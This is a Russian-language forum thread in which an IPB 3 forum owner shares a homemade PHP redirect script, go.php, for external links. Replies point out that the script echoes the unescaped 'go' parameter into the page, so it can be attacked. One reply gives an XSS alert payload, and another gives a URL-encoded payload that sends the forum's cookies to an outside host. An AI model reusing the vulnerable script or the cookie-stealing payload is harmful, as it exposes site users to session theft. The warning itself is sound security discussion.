KveSteR Опубликовано 27 Февраля 2010 Жалоба Поделиться Опубликовано 27 Февраля 2010 (изменено) Решил сделать редирект к внешним ссылкам на форуме.В файле "admin/sources/classes/bbcode/custom/defaults.php"Это //----------------------------------------- // Adding rel='nofollow'? //----------------------------------------- $rels = array(); $rel = ''; if( $this->settings['posts_add_nofollow'] ) { $rels[] = "nofollow"; } if( $this->settings['links_external'] ) { $rels[] = "external"; } if( count($rels) ) { $rel = " rel='" . implode( ' ', $rels ) . "'"; } if( $this->settings['posts_add_nofollow'] ) { return "<noindex><a href='{$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a></noindex>"; } else { return "<a href='{$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a>"; } Заменил на это //----------------------------------------- // Adding rel='nofollow'? //----------------------------------------- $rels = array(); $rel = ''; if( $this->settings['posts_add_nofollow'] ) { $rels[] = "nofollow"; } if( $this->settings['links_external'] ) { $rels[] = "external"; } if( count($rels) ) { $rel = " rel='" . implode( ' ', $rels ) . "'"; } if( $this->settings['posts_add_nofollow'] ) { return "<noindex><a href='/go.php?go={$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a></noindex>"; } else { return "<a href='{$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a>"; } В корень форума <?php $url = $_REQUEST['go']; //header('Location: '.$url); echo " <html> <head> <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\" /> <title>Подождите... </title> <link rel=\"shortcut icon\" href='/favicon.ico' /> <meta http-equiv=\"refresh\" content=\"2; url=$url\" /> </head> <center><br><br><br><br> Перенаправление на <b>$url</b> через 2 секунды. <br><br><br><br> </center> </body> </html>"; exit; ?> Все хорошо, все работает. Но вот только редиректные ссылки подставляются даже к внутренним ссылкам форума! Последний блок кода попробовал заменить по аналогии с похожими модификациямиif (!stristr($url, "tvoy_forum.ru") { return "<noindex><a href='/go.php?go={$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a></noindex>"; } else { return "<a href='{$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a>"; } Только вот не помогло. Помогите пожалуйсто решить проблему. Все равно везде подставляет Изменено 27 Февраля 2010 пользователем KveSteR Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Ritsuka Опубликовано 27 Февраля 2010 Жалоба Поделиться Опубликовано 27 Февраля 2010 (изменено) А теперь - фокус-покус: http://example.com/go.php?go="><script>alert('xss');</script> Изменено 27 Февраля 2010 пользователем Ritsuka Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Sannis Опубликовано 27 Февраля 2010 Жалоба Поделиться Опубликовано 27 Февраля 2010 А теперь - фокус-покус: http://example.com/go.php?go="><script>alert('xss');</script>IPB 3.x не режет спецсимволы в урлах? куда же делись их хвалёные регекспы на 20 строчек? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Ritsuka Опубликовано 27 Февраля 2010 Жалоба Поделиться Опубликовано 27 Февраля 2010 Sannis, IPB режет, только что мешает пообщаться с самописным чудо-скриптом напрямую? Кстати, 99% самописных "редиректов" болеют этой болезнью - отсуствие проверки входящих данных. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
KveSteR Опубликовано 28 Февраля 2010 Автор Жалоба Поделиться Опубликовано 28 Февраля 2010 Sannis, IPB режет, только что мешает пообщаться с самописным чудо-скриптом напрямую? Кстати, 99% самописных "редиректов" болеют этой болезнью - отсуствие проверки входящих данных. URL то обрабатывается ведь в любом случае движком форума. И изменения в оригинальных файлах только "приставка" к ссылкам.А сам файл go.php состоит практически из одной переменной, и с движком форума вообще-то никак не связан. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Ritsuka Опубликовано 28 Февраля 2010 Жалоба Поделиться Опубликовано 28 Февраля 2010 KveSteR, ладно, разовью концепцию, если вы еще не поняли: Привет, Вася! Такую классную ссылку на форуме нашел, смотри! http://example.com/go.php?go=%40%21%23%22%3E%3Cscript%3Ewindow.location%3D%22http%3A%2F%2Fgoogle.com%2F%3Fq%3D%22%2BencodeURIComponent%28document.cookie%29%3B%3C%2Fscript%3E%3C%21--+ А сам файл go.php состоит практически из одной переменной, и с движком форума вообще-то никак не связан.Связан общим доменом, а значит, и общими cookies, которые вполне можно увести. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
KveSteR Опубликовано 28 Февраля 2010 Автор Жалоба Поделиться Опубликовано 28 Февраля 2010 В безопасности куков я не силен... такой вариант вполне возможен, но только одно но:Все ссылки которые на форуме выводятся, вводятся тоже движком форума... и подстановка к ссылка /go.php... ни как не влияет на работоспособность резки ссылок движком. Пообщаться на прямую с чудо скриптом ничего не мешает. Только толку от этого я не вижу. Движок то все равно такие ссылки не пропустит. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
dengol Опубликовано 1 Марта 2010 Жалоба Поделиться Опубликовано 1 Марта 2010 Ссылки в трёшке и так идут с nofollow и noundex, так что имхо редирект это лишнее.Или была другая цель? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
KveSteR Опубликовано 1 Марта 2010 Автор Жалоба Поделиться Опубликовано 1 Марта 2010 Ну первое, что... хотелось бы что бы внутренние ссылки форума не обрамлялись этими тэгами ноиндекс и ноуфоллоу. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Рекомендуемые сообщения
Присоединиться к обсуждению
Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.